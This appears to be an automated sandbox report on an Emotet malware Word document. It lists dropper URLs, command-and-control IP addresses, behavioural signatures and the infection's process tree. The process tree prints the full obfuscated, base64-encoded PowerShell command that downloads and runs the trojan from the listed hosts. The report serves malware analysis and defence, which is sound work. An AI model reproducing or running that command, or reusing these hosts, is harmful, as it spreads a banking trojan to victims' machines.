Overview

overview

10

Static

static

8

FILE_HCV_0...20.doc

windows7_x64

10

FILE_HCV_0...20.doc

windows10_x64

10

Analysis

  • max time kernel
    64s
  • max time network
    108s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    03/09/2020, 22:09

Sharing

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Report Analysis Logs

General

  • Target
    FILE_HCV_090120_ZFO_090420.doc
  • Size 191KB
  • Sample200903-e7bf86rm7j
  • SHA256 bfc633d36b0eb3a3bb3a78dc91f0d5600c196595754064b15c5adcbeaff68a95
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://homokfuvo.com/files/QSNUeuP/
  • exe.dropper

    http://gforcems.it/modules/B/
  • exe.dropper

    http://planodesaudetotal.com/erros/wUI/
  • exe.dropper

    http://rvad.com/img/K0YvsA/
  • exe.dropper

    http://vendasdesaude.com/erros/zyHmix/
  • exe.dropper

    https://scenic-heap.de/_private/ZZHi/
  • exe.dropper

    https://elektro-grell.de/cgi-bin/o8Xj1y/

Extracted

Family

  • emotet

C2

  • 192.158.216.73:80

  • 85.214.28.226:8080

  • 142.44.137.67:443

  • 162.241.242.173:8080

  • 85.152.162.105:80

  • 62.30.7.67:443

  • 78.24.219.147:8080

  • 74.120.55.163:80

  • 169.239.182.217:8080

  • 216.208.76.186:80

  • 95.213.236.64:8080

  • 200.114.213.233:8080

  • 104.131.44.150:8080

  • 70.121.172.89:80

  • 75.139.38.211:80

  • 185.94.252.104:443

  • 97.82.79.83:80

  • 103.86.49.11:8080

  • 79.98.24.39:8080

  • 83.169.36.251:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_HCV_090120_ZFO_090420.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1396
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe
      "C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:336
      • C:\Windows\SysWOW64\systeminfo\msimg32.exe
        "C:\Windows\SysWOW64\systeminfo\msimg32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:928

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/336-17-0x00000000003E0000-0x00000000003EC000-memory.dmp
        Download

        memory/336-16-0x00000000003D0000-0x00000000003DE000-memory.dmp
        Download

        memory/928-22-0x00000000003D0000-0x00000000003DC000-memory.dmp
        Download

        memory/928-21-0x00000000003C0000-0x00000000003CE000-memory.dmp
        Download

        memory/1396-5-0x000000000AE70000-0x000000000AE74000-memory.dmp
        Download

        memory/1396-4-0x00000000070A0000-0x00000000072A0000-memory.dmp
        Download

        memory/1396-2-0x0000000008A20000-0x0000000008A24000-memory.dmp
        Download

        memory/1504-23-0x000007FEF70C0000-0x000007FEF733A000-memory.dmp
        Download

        memory/1656-10-0x0000000002600000-0x0000000002601000-memory.dmp
        Download

        memory/1656-7-0x000007FEEA7F0000-0x000007FEEB1DC000-memory.dmp
        Download

        memory/1656-8-0x0000000001F20000-0x0000000001F21000-memory.dmp
        Download

        memory/1656-9-0x000000001AE30000-0x000000001AE31000-memory.dmp
        Download

        memory/1656-11-0x0000000002410000-0x0000000002411000-memory.dmp
        Download

        memory/1656-13-0x000000001B7E0000-0x000000001B7E1000-memory.dmp
        Download

        memory/1656-12-0x0000000002710000-0x0000000002711000-memory.dmp
        Download